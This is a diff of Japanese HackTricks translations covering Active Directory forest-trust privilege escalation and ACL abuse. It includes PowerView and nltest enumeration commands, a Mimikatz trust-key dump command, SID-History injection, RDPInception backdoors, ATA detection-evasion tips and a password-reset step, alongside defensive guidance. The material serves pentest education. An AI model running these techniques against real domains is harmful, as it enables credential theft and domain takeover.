@ -545,62 +550,62 @@ laps.md
|
||||
|
||||
## Forest Privilege Escalation - Domain Trusts
|
||||
|
||||
Microsoft は **Forest** をセキュリティ境界と見なしています。つまり **単一のドメインを侵害することでフォレスト全体が侵害される可能性がある**ということです。
|
||||
Microsoftは**Forest**をセキュリティ境界と見なしています。つまり、**単一ドメインの侵害がForest全体の侵害につながる可能性がある**ということです。
|
||||
|
||||
### Basic Information
|
||||
|
||||
[**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) は、ある **ドメイン** のユーザーが別の **ドメイン** のリソースにアクセスすることを可能にするセキュリティ機構です。これは両ドメイン間の認証システムを連結し、認証情報のやり取りを円滑にします。ドメインがトラストを設定すると、トラストの整合性に重要な特定の **キー** が各ドメインの **Domain Controller (DC)** に交換・保持されます。
|
||||
[**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)は、ある**ドメイン**のユーザが別の**ドメイン**のリソースにアクセスすることを可能にするセキュリティメカニズムです。これは2つのドメインの認証システム間の連結を作成し、認証検証がシームレスに流れるようにします。ドメインがトラストを設定すると、トラストの整合性に重要な特定の**keys**を各Domain Controller (DC)が交換して保持します。
|
||||
|
||||
典型的なシナリオでは、あるユーザーが **trusted domain** のサービスにアクセスしたい場合、まず自ドメインの DC から特別なチケットである **inter-realm TGT** を要求します。この TGT は両ドメインが合意した共有 **キー** で暗号化されています。ユーザーはこの TGT を **trusted domain の DC** に提示してサービスチケット(**TGS**)を取得します。trusted domain の DC が inter-realm TGT を検証すると、サービスへのアクセスを許可する TGS を発行します。
|
||||
典型的なシナリオでは、ユーザが**trusted domain**のサービスにアクセスしようとする際、まず自ドメインのDCから**inter-realm TGT**を要求する必要があります。このTGTは両ドメインで合意された共有の**key**で暗号化されます。ユーザはこのTGTを**trusted domainのDC**に提示してサービスチケット(**TGS**)を取得します。trusted domainのDCがinter-realm TGTを検証すると、TGSを発行してユーザにサービスへのアクセスを許可します。
|
||||
|
||||
**ステップ**:
|
||||
**Steps**:
|
||||
|
||||
1. **Domain 1** のクライアントコンピュータが自身の **NTLM hash** を使って **Ticket Granting Ticket (TGT)** を **Domain Controller (DC1)** に要求することから開始します。
|
||||
2. クライアントが認証されると DC1 は新しい TGT を発行します。
|
||||
3. クライアントは次に **Domain 2** のリソースへアクセスするために DC1 から **inter-realm TGT** を要求します。
|
||||
4. inter-realm TGT は、双方の二方向ドメイントラストの一部として DC1 と DC2 が共有する **trust key** で暗号化されます。
|
||||
5. クライアントは inter-realm TGT を **Domain 2 の Domain Controller (DC2)** に持って行きます。
|
||||
6. DC2 は共有された trust key を使って inter-realm TGT を検証し、有効であればクライアントがアクセスしたい Domain 2 のサーバー向けに **Ticket Granting Service (TGS)** を発行します。
|
||||
7. 最後にクライアントはこの TGS をサーバー(サーバーのアカウントハッシュで暗号化されている)に提示して、Domain 2 内のサービスへアクセスします。
|
||||
1. **Domain 1**の**client computer**が自身の**NTLM hash**を使って**Domain Controller (DC1)**に**Ticket Granting Ticket (TGT)**を要求することから始まります。
|
||||
2. クライアントが正常に認証されれば、DC1は新しいTGTを発行します。
|
||||
3. その後、クライアントは**Domain 2**のリソースにアクセスするために必要な**inter-realm TGT**をDC1に要求します。
|
||||
4. inter-realm TGTは、両ドメイン間の双方向ドメイントラストの一部としてDC1とDC2が共有する**trust key**で暗号化されます。
|
||||
5. クライアントはinter-realm TGTを**Domain 2のDomain Controller (DC2)**に持って行きます。
|
||||
6. DC2は共有されたtrust keyを使ってinter-realm TGTを検証し、有効であればクライアントがアクセスしようとしているDomain 2内のサーバ向けに**Ticket Granting Service (TGS)**を発行します。
|
||||
7. 最後にクライアントはこのTGSをサーバに提示し、サーバアカウントのハッシュで暗号化されたTGSを使ってDomain 2のサービスにアクセスします。
|
||||
|
||||
### Different trusts
|
||||
|
||||
トラストは **一方向** または **双方向** のどちらかであることに注意してください。双方向トラストでは両ドメインが相互に信頼しますが、**一方向** の場合は一方が **trusted**、もう一方が **trusting** ドメインになります。この場合、**trusted 側から trusting 側のリソースにのみアクセス可能**です。
|
||||
トラストが**一方向(1 way)か双方向(2 ways)か**であることに注意してください。双方向のオプションでは両方のドメインが互いに信頼しますが、**一方向**のトラスト関係では一方が**trusted**、もう一方が**trusting**ドメインになります。後者の場合、**trusted側からのみtrustingドメイン内のリソースにアクセスできる**ことになります。
|
||||
|
||||
もし Domain A が Domain B を信頼しているなら、A が trusting domain、B が trusted domain です。さらに、**Domain A** ではこれは **Outbound trust** になり、**Domain B** では **Inbound trust** になります。
|
||||
もしDomain AがDomain Bを信頼している場合、AはtrustingドメインでBはtrustedドメインです。さらに、**Domain A**ではこれは**Outbound trust**となり、**Domain B**では**Inbound trust**となります。
|
||||
|
||||
**異なる信頼関係の種類**
|
||||
**Different trusting relationships**
|
||||
|
||||
- **Parent-Child Trusts**: 同一フォレスト内で一般的な設定で、子ドメインは自動的に親ドメインと双方向の推移的トラストを持ちます。これにより親子間で認証要求がシームレスに流れます。
|
||||
- **Cross-link Trusts**: 「shortcut trusts」とも呼ばれ、参照プロセスを高速化するために子ドメイン間で設定されます。複雑なフォレストでは認証参照がフォレストルートまで上がりターゲットドメインまで下りる必要があるため、cross-link によってその経路が短縮されます。
|
||||
- **External Trusts**: 相互に関連のない異なるドメイン間で設定され、非推移的です。Microsoft のドキュメントによると、external trusts はフォレストトラストによって接続されていない外部ドメインのリソースにアクセスする際に有用です。セキュリティは外部トラストにおける SID フィルタリングによって強化されます。
|
||||
- **Tree-root Trusts**: フォレストルートドメインと新しく追加されたツリールート間で自動的に確立されるトラストです。あまり一般的ではありませんが、フォレストに新しいドメインツリーを追加する際に重要で、二方向の推移性を維持します。
|
||||
- **Forest Trusts**: これは二つのフォレストルートドメイン間の双方向推移トラストで、SID フィルタリングも適用されセキュリティが強化されます。
|
||||
- **MIT Trusts**: RFC4120 準拠の Kerberos ドメイン(Windows 以外)との間に確立されるトラストです。MIT trusts は Windows 以外の Kerberos ベースのシステムとの統合を必要とする環境向けのやや専門的なトラストです。
|
||||
- **Parent-Child Trusts**: 同一フォレスト内で一般的な構成で、child domainは自動的にparent domainと双方向の推移的トラストを持ちます。つまり、親と子の間で認証要求がシームレスに流れることを意味します。
|
||||
- **Cross-link Trusts**: "shortcut trusts"とも呼ばれ、childドメイン間の参照プロセスを高速化するために確立されます。大規模なフォレストでは、認証参照は通常フォレストルートまで上がってからターゲットドメインまで下る必要がありますが、cross-linkを作成することで経路が短縮されます。
|
||||
- **External Trusts**: これは異なる、無関係なドメイン間で設定され、非推移的です。Microsoftのドキュメントによれば、external trustsはフォレストトラストで接続されていないフォレスト外のドメインのリソースにアクセスするのに有用です。external trustsではSIDフィルタリングによってセキュリティが強化されます。
|
||||
- **Tree-root Trusts**: これらのトラストはフォレストルートドメインと新しく追加されたツリールート間で自動的に確立されます。頻繁には見られませんが、新しいドメインツリーをフォレストに追加する際に重要で、二方向の推移性を維持します。
|
||||
- **Forest Trusts**: これは2つのフォレストルートドメイン間の双方向かつ推移的なトラストで、SIDフィルタリングも強制してセキュリティを強化します。
|
||||
- **MIT Trusts**: これらは非Windowsの[RFC4120準拠](https://tools.ietf.org/html/rfc4120)のKerberosドメインと確立されます。MIT trustsはやや特殊で、Windowsエコシステム外のKerberosベースのシステムとの統合を必要とする環境に対応します。
|
||||
|
||||
#### Other differences in **trusting relationships**
|
||||
|
||||
- トラスト関係は **推移的(transitive)** に設定できる(A が B を信頼し、B が C を信頼していれば A は C を信頼する)場合と、**非推移的** に設定できる場合があります。
|
||||
- トラスト関係は **双方向**(双方が相互に信頼)または **一方向**(一方のみが他方を信頼)として設定できます。
|
||||
- トラスト関係は**推移的(transitive)**(AがBを信頼し、BがCを信頼していればAはCを信頼する)であったり**非推移的**であったりします。
|
||||
- トラスト関係は**双方向トラスト**(両方が互いを信頼)として設定されることも、**一方向トラスト**(一方のみが他方を信頼)として設定されることもあります。
|
||||
|
||||
### Attack Path
|
||||
|
||||
1. **信頼関係を列挙**する
|
||||
2. いずれかの **security principal**(ユーザー/グループ/コンピュータ)が**他ドメインのリソースにアクセスできるか**を確認する。ACE エントリや他ドメインのグループに属しているかを調べ、**ドメイン間の関係**を探す(おそらくトラストはこれらのために作られている)。
|
||||
1. この場合 kerberoast が別のオプションになり得る。
|
||||
3. ドメイン間で **ピボットできるアカウントを侵害**する。
|
||||
1. **Enumerate** the trusting relationships
|
||||
2. チェックして、どの**security principal**(user/group/computer)が**他ドメインのリソースに**ACEエントリや他ドメインのグループのメンバシップによって**アクセス**を持っているかを確認します。**domains間の関係**を探してください(おそらくそのためにトラストが作成されています)。
|
||||
1. この場合、kerberoastも別のオプションになり得ます。
|
||||
3. ドメイン間を**pivot**できる**accounts**を**compromise**します。
|
||||
|
||||
別ドメインのリソースにアクセスできる攻撃者は、主に次の3つのメカニズムを通じてそれを行えます:
|
||||
攻撃者が別ドメインのリソースにアクセスする方法は主に次の3つです:
|
||||
|
||||
- **ローカルグループメンバーシップ**: プリンシパルがサーバーの “Administrators” グループのようなローカルグループに追加されている場合、そのマシンに対して大きな制御権を持ちます。
|
||||
- **外部ドメイングループメンバーシップ**: プリンシパルが外部ドメイン内のグループのメンバーである場合もあります。ただし、この方法の有効性はトラストの性質やグループのスコープに依存します。
|
||||
- **Access Control Lists (ACLs)**: プリンシパルが **ACL** に指定されている、特に **DACL** 内の **ACE** として指定されている場合、特定のリソースへのアクセス権を得ることができます。ACL、DACL、ACE の詳細に踏み込むには、白書 “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” が非常に有益です。
|
||||
- **Local Group Membership**: プリンシパルがサーバ上の“Administrators”のようなローカルグループに追加されることがあり、そのマシンに対する大きな制御を与えます。
|
||||
- **Foreign Domain Group Membership**: プリンシパルが外部ドメイン内のグループのメンバになることもあります。ただし、この方法の有効性はトラストの性質やグループのスコープに依存します。
|
||||
- **Access Control Lists (ACLs)**: プリンシパルが**ACL**に、特に**DACL**内の**ACE**のエンティティとして指定されている場合、特定のリソースへのアクセスを持ちます。ACL、DACL、ACEの仕組みを深く掘り下げたい場合は、白書「An ACE Up The Sleeve」が非常に参考になります: https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf
|
||||
|
||||
### Find external users/groups with permissions
|
||||
|
||||
ドメイン内の外部セキュリティプリンシパルを見つけるには、**`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** を確認できます。これらは **外部ドメイン/フォレスト** のユーザー/グループです。
|
||||
外部のセキュリティプリンシパルを見つけるには、**`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** を確認できます。これらは**外部ドメイン/フォレスト**からのuser/groupです。
|
||||
|
||||
これを Bloodhound で確認するか、powerview を使用して確認できます:
|
||||
これを**Bloodhound**で確認するか、powerviewを使って確認できます:
|
||||
```powershell
|
||||
# Get users that are i groups outside of the current domain
|
||||
Get-DomainForeignUser
|
||||
@ -608,7 +613,7 @@ Get-DomainForeignUser
|
||||
# Get groups inside a domain with users our
|
||||
Get-DomainForeignGroupMember
|
||||
```
|
||||
### Child-to-Parent forest の privilege escalation
|
||||
### 子フォレストから親フォレストへの権限昇格
|
||||
```bash
|
||||
# Fro powerview
|
||||
Get-DomainTrust
|
||||
@ -634,8 +639,8 @@ nltest /dclist:sub.domain.local
|
||||
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
|
||||
```
|
||||
> [!WARNING]
|
||||
> **2 trusted keys** が存在します。1つは _Child --> Parent_ 用、もう1つは _Parent_ --> _Child_ 用です。\
|
||||
> 現在のドメインで使用されているキーを確認するには以下を実行します:
|
||||
> 信頼鍵が**2つ**あります。1つは _Child --> Parent_ 用、もう1つは _Parent_ --> _Child_ 用です。\
|
||||
> 現在のドメインで使用されているものは、次のコマンドで確認できます:
|
||||
>
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
@ -644,7 +649,8 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
|
||||
|
||||
#### SID-History Injection
|
||||
|
||||
信頼関係を悪用して SID-History injection により child/parent domain へ Enterprise admin として権限昇格する:
|
||||
信頼を悪用して、SID-History injection により child/parent ドメインへ Enterprise admin として昇格します:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
sid-history-injection.md
|
||||
@ -652,45 +658,47 @@ sid-history-injection.md
|
||||
|
||||
#### Exploit writeable Configuration NC
|
||||
|
||||
Configuration Naming Context (NC) がどのように悪用できるかを理解することは重要です。Configuration NC は Active Directory (AD) 環境のフォレスト全体の設定データの中央リポジトリとして機能します。このデータはフォレスト内のすべての Domain Controller (DC) にレプリケートされ、書き込み可能な DC は Configuration NC の書き込み可能なコピーを保持します。これを悪用するには、**DC 上での SYSTEM 権限**(できれば child DC)が必要です。
|
||||
Configuration Naming Context (NC) がどのように悪用され得るかを理解することは重要です。Configuration NC は Active Directory (AD) 環境内のフォレスト全体に関する構成データの中央リポジトリとして機能します。このデータはフォレスト内のすべての Domain Controller (DC) にレプリケートされ、writable DC は Configuration NC の書き込み可能なコピーを保持します。これを悪用するには、DC 上での **SYSTEM** 権限(できれば child DC)が必要です。
|
||||
|
||||
**Link GPO to root DC site**
|
||||
|
||||
Configuration NC の Sites コンテナには、AD フォレスト内のすべてのドメイン参加コンピュータのサイトに関する情報が含まれています。任意の DC 上で SYSTEM 権限を取得すると、攻撃者は GPO を root DC site にリンクできます。この操作により、これらのサイトに適用されるポリシーを操作して root domain を危険に晒す可能性があります。
|
||||
Configuration NC の Sites コンテナには、AD フォレスト内のすべてのドメイン参加コンピュータのサイト情報が含まれます。任意の DC 上で SYSTEM 権限を行使することで、攻撃者は GPO を root DC site にリンクできます。この操作により、これらのサイトに適用されるポリシーを操作して root domain を危険にさらす可能性があります。
|
||||
|
||||
詳細については、[Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) の研究を参照してください。
|
||||
For in-depth information, one might explore research on [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
|
||||
**Compromise any gMSA in the forest**
|
||||
|
||||
攻撃ベクターの一つは、ドメイン内の特権 gMSA を狙うことです。gMSA のパスワード計算に必要な KDS Root key は Configuration NC に格納されています。任意の DC 上で SYSTEM 権限を持っていれば、KDS Root key にアクセスしてフォレスト内の任意の gMSA のパスワードを算出することが可能です。
|
||||
攻撃ベクターとしてドメイン内の特権 gMSA を標的にすることがあります。gMSA のパスワード計算に必要な KDS Root key は Configuration NC に保存されています。任意の DC 上で SYSTEM 権限を持てば、KDS Root key にアクセスしてフォレスト内の任意の gMSA のパスワードを算出することが可能です。
|
||||
|
||||
Detailed analysis and step-by-step guidance can be found in:
|
||||
|
||||
詳細な解析と手順は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
golden-dmsa-gmsa.md
|
||||
{{#endref}}
|
||||
|
||||
補完的な委任された MSA 攻撃(BadSuccessor – migration 属性の悪用):
|
||||
Complementary delegated MSA attack (BadSuccessor – abusing migration attributes):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
badsuccessor-dmsa-migration-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
追加の外部研究: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)。
|
||||
Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Schema change attack**
|
||||
|
||||
この手法は新たに作成される特権 AD オブジェクトの出現を待つ必要があり、忍耐が必要です。SYSTEM 権限があれば、攻撃者は AD Schema を変更して任意のユーザーにすべてのクラスに対する完全な制御を付与できます。これにより、新たに作成された AD オブジェクトへの不正アクセスや制御が発生する可能性があります。
|
||||
この手法は忍耐を要し、新しい特権 AD オブジェクトの作成を待つ必要があります。SYSTEM 権限があれば、攻撃者は AD Schema を変更して任意のユーザに全クラスの完全なコントロールを与えることができます。これにより、新しく作成された AD オブジェクトに対する不正アクセスや制御が可能になります。
|
||||
|
||||
詳細は [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) を参照してください。
|
||||
Further reading is available on [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
|
||||
**From DA to EA with ADCS ESC5**
|
||||
|
||||
ADCS ESC5 の脆弱性は、PKI オブジェクトの制御を狙い、フォレスト内の任意のユーザーとして認証できる証明書テンプレートを作成することを目的としています。PKI オブジェクトは Configuration NC に存在するため、書き込み可能な child DC を侵害することで ESC5 攻撃を実行できます。
|
||||
ADCS ESC5 の脆弱性は、PKI オブジェクトを制御してフォレスト内の任意のユーザとしての認証を可能にする証明書テンプレートを作成することを狙います。PKI オブジェクトは Configuration NC に存在するため、書き込み可能な child DC を侵害することで ESC5 攻撃を実行できます。
|
||||
|
||||
詳細は [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) を参照してください。ADCS が存在しないケースでも、攻撃者は必要なコンポーネントを設定することが可能であり、その点は [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) で議論されています。
|
||||
More details on this can be read in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
### External Forest Domain - One-Way (Inbound) or bidirectional
|
||||
### 外部フォレストドメイン - 一方向(Inbound)または双方向
|
||||
```bash
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
@ -701,7 +709,7 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
このシナリオでは、**あなたのドメインが外部ドメインから信頼されており**、その外部ドメインに対して**不明な権限**が与えられています。どのプリンシパルが外部ドメインに対してどのアクセスを持っているかを特定し、それを利用して攻撃を試みる必要があります:
|
||||
このシナリオでは、**あなたのドメインが外部ドメインによって信頼されており**、外部ドメインに対して**不明確な権限**が与えられています。あなたは、**自ドメインのどのプリンシパルが外部ドメインに対してどのアクセス権を持っているか**を特定し、それを利用して攻撃を試みる必要があります:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
@ -719,19 +727,19 @@ TrustDirection : Outbound --> Outbound trust
|
||||
WhenCreated : 2/19/2021 10:15:24 PM
|
||||
WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
In this scenario **あなたのドメイン** は **信頼** により **別のドメイン** からの主体にいくつかの **権限 (privileges)** を付与しています。
|
||||
このシナリオでは **あなたのドメイン** が **異なるドメイン** のプリンシパルに対していくつかの **特権** を **信頼** しています。
|
||||
|
||||
しかし、**trusting domain** によって **domain is trusted** された場合、trusted domain は **予測可能な名前** を持つ **ユーザーを作成し**、その **パスワードに trusted password を使う** ことがあります。つまり、**trusting domain のユーザーにアクセスして trusted domain 内に入り込み**、列挙やさらなる権限昇格を試みることが可能になるということです:
|
||||
しかし、**ドメインが信頼される** と、trusted domain は **予測可能な名前** を持つ **ユーザーを作成し**、その **パスワード** としてその信頼されたパスワードを使用します。つまり、**trusting domain のユーザーにアクセスして trusted domain 内に侵入**し、列挙や権限昇格を試みることが可能であるということです:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
別の方法として、trusted domain を侵害する手段は、ドメイントラストの **逆方向** に作成された [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) を見つけることですが、これはあまり一般的ではありません。
|
||||
trusted domain を侵害する別の方法は、ドメイントラストの **逆方向** に作成された [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) を見つけることです(これはそれほど一般的ではありません)。
|
||||
|
||||
また別の方法としては、trusted domain の **ユーザーが RDP でログインできる** マシン上で待ち構えることです。攻撃者は RDP セッションのプロセスにコードを注入し、そこから **被害者の元のドメインにアクセス** することができます。\
|
||||
さらに、もし **victim が自分のハードドライブをマウントしていた** 場合、攻撃者は **RDP session** プロセスからハードドライブの **startup folder** に **バックドア** を置くことができます。この手法は **RDPInception** と呼ばれます。
|
||||
trusted domain を侵害する別の方法は、**trusted domain のユーザーが RDP でログインできる** マシン上で待ち伏せすることです。そうすれば、攻撃者は RDP セッションプロセスにコードを注入し、そこから **被害者のオリジンドメインにアクセス** することができます。\
|
||||
さらに、**被害者がハードドライブをマウントしていた** 場合、RDP セッションプロセスからハードドライブの **startup folder** に **backdoors** を置くことも可能です。この手法は **RDPInception** と呼ばれます。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -742,13 +750,13 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **SID Filtering:**
|
||||
|
||||
- フォレスト間トラストで SID history 属性を悪用する攻撃のリスクは、SID Filtering によって軽減されます。SID Filtering は全てのフォレスト間トラストでデフォルトで有効になっており、Microsoft の見解に基づきセキュリティ境界をドメインではなくフォレストとみなす前提で成り立っています。
|
||||
- しかし注意点として、SID Filtering はアプリケーションやユーザーアクセスに影響を与える可能性があり、そのため時折無効化されることがあります。
|
||||
- フォレスト間トラストで SID history 属性を悪用する攻撃のリスクは、すべてのフォレスト間トラストでデフォルトで有効になっている SID Filtering によって軽減されます。これは Microsoft の見解に基づき、セキュリティ境界をドメインではなくフォレストと見なすことを前提としています。
|
||||
- ただし注意点として、SID filtering はアプリケーションやユーザーのアクセスを阻害する可能性があり、そのため一時的に無効化されることがあります。
|
||||
|
||||
### **Selective Authentication:**
|
||||
|
||||
- フォレスト間トラストでは、Selective Authentication を用いることで両フォレストのユーザーが自動的に認証されることを防ぎます。代わりに、trusting domain/forest 内のドメインやサーバーにアクセスするためには明示的な許可が必要になります。
|
||||
- これらの対策は、書き込み可能な Configuration Naming Context (NC) の悪用やトラストアカウントへの攻撃を防ぐものではない点に注意が必要です。
|
||||
- フォレスト間トラストにおいて、Selective Authentication を採用すると、2 つのフォレストのユーザーが自動的に認証されることはなくなります。代わりに、trusting domain/forest 内のドメインやサーバーにアクセスするためには明示的な権限が必要になります。
|
||||
- これらの対策は、writable Configuration Naming Context (NC) の悪用や trust account に対する攻撃を防ぐものではない点に留意する必要があります。
|
||||
|
||||
[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
@ -765,32 +773,32 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
### **Defensive Measures for Credential Protection**
|
||||
|
||||
- **Domain Admins Restrictions**: Domain Admins は Domain Controllers にのみログインを許可し、他のホストで使用しないことが推奨されます。
|
||||
- **Service Account Privileges**: サービスは Domain Admin (DA) 権限で実行すべきではありません。
|
||||
- **Temporal Privilege Limitation**: DA 権限を必要とするタスクについては、その期間を制限することが推奨されます。例: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **Domain Admins Restrictions**: Domain Admins は Domain Controllers へのログオンのみを許可し、他のホストでの使用を避けることが推奨されます。
|
||||
- **Service Account Privileges**: サービスはセキュリティのために Domain Admin (DA) 権限で実行すべきではありません。
|
||||
- **Temporal Privilege Limitation**: DA 権限が必要なタスクについては、その期間を制限することが推奨されます。例: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **Implementing Deception Techniques**
|
||||
|
||||
- デセプションの実装は、パスワードが期限切れにならない、あるいは Trusted for Delegation にマークされたデコイユーザーやコンピュータのような罠を設定することを含みます。具体的には特定の権限を持つユーザーを作成したり、それらを高権限グループに追加することが含まれます。
|
||||
- 実用的な例としては次のようなツールを使用します: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- デセプション手法の導入については [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) を参照してください。
|
||||
- Deception の実装は、パスワードが期限切れにならない、あるいは Trusted for Delegation にマークされたデコイユーザーやコンピュータのようなトラップを設定することを含みます。具体的には、特定の権利を持つユーザーを作成したり、高権限グループに追加したりする方法があります。
|
||||
- 実際の例: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Deception 技術の展開については [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) を参照してください。
|
||||
|
||||
### **Identifying Deception**
|
||||
|
||||
- **ユーザーオブジェクトに関して**: 異常な ObjectSID、ログオン頻度の低さ、作成日時、誤パスワードのカウントが少ないなどが疑わしい指標です。
|
||||
- **一般的な指標**: 潜在的なデコイオブジェクトの属性を正規のオブジェクトと比較することで矛盾点があぶり出されます。HoneypotBuster のようなツールがデセプションの特定に役立ちます。
|
||||
- **For User Objects**: 異常な ObjectSID、ログオン頻度の低さ、作成日時、低い bad password カウントなどが疑わしい指標になります。
|
||||
- **General Indicators**: 潜在的なデコイオブジェクトの属性を正規のものと比較することで不整合を発見できます。HoneypotBuster のようなツールが識別に役立ちます([HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster))。
|
||||
|
||||
### **Bypassing Detection Systems**
|
||||
|
||||
- **Microsoft ATA Detection Bypass**:
|
||||
- **User Enumeration**: ATA 検出を避けるために Domain Controllers 上でのセッション列挙を避けること。
|
||||
- **Ticket Impersonation**: aes キーを用いたチケット作成は、NTLM へダウングレードしないため検出回避に有効です。
|
||||
- **DCSync Attacks**: Domain Controller 以外から実行することで ATA 検出を避けることが推奨されます。Domain Controller から直接実行するとアラートが発生します。
|
||||
- **User Enumeration**: ATA 検出を回避するために Domain Controllers 上でのセッション列挙を避ける。
|
||||
- **Ticket Impersonation**: チケット作成に **aes** キーを利用することで NTLM にフォールバックさせずに検出を免れるのに役立ちます。
|
||||
- **DCSync Attacks**: Domain Controller から直接実行するとアラートが発生するため、非 Domain Controller から実行することが推奨されます。
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
- http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
|
||||
- https://www.labofapenetrationtester.com/2018/10/deploy-deception.html
|
||||
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain
|
||||
- [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
|
||||
- [https://www.labofapenetrationtester.com/2018/10/deploy-deception.html](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html)
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**このページは主に** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **および** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**の手法の要約です。詳細は元の記事を参照してください。**
|
||||
**このページは主に** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **と** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) **の手法の概要です。詳細は元の記事を参照してください。**
|
||||
|
||||
## BadSuccessor
|
||||
|
||||
@ -11,32 +11,32 @@
|
||||
BadSuccessor.md
|
||||
{{#endref}}
|
||||
|
||||
## **ユーザーに対する GenericAll 権限**
|
||||
## **GenericAll Rights on User**
|
||||
|
||||
この権限は攻撃者にターゲットのユーザーアカウントに対する完全な制御を与えます。`Get-ObjectAcl` コマンドで `GenericAll` 権限が確認されると、攻撃者は次のことができます:
|
||||
この権限は攻撃者にターゲットのユーザーアカウントに対する完全なコントロールを与えます。`Get-ObjectAcl` コマンドで `GenericAll` 権限が確認されたら、攻撃者は以下を行えます:
|
||||
|
||||
- **ターゲットのパスワードを変更する**: `net user <username> <password> /domain` を使用して、攻撃者はユーザーのパスワードをリセットできます。
|
||||
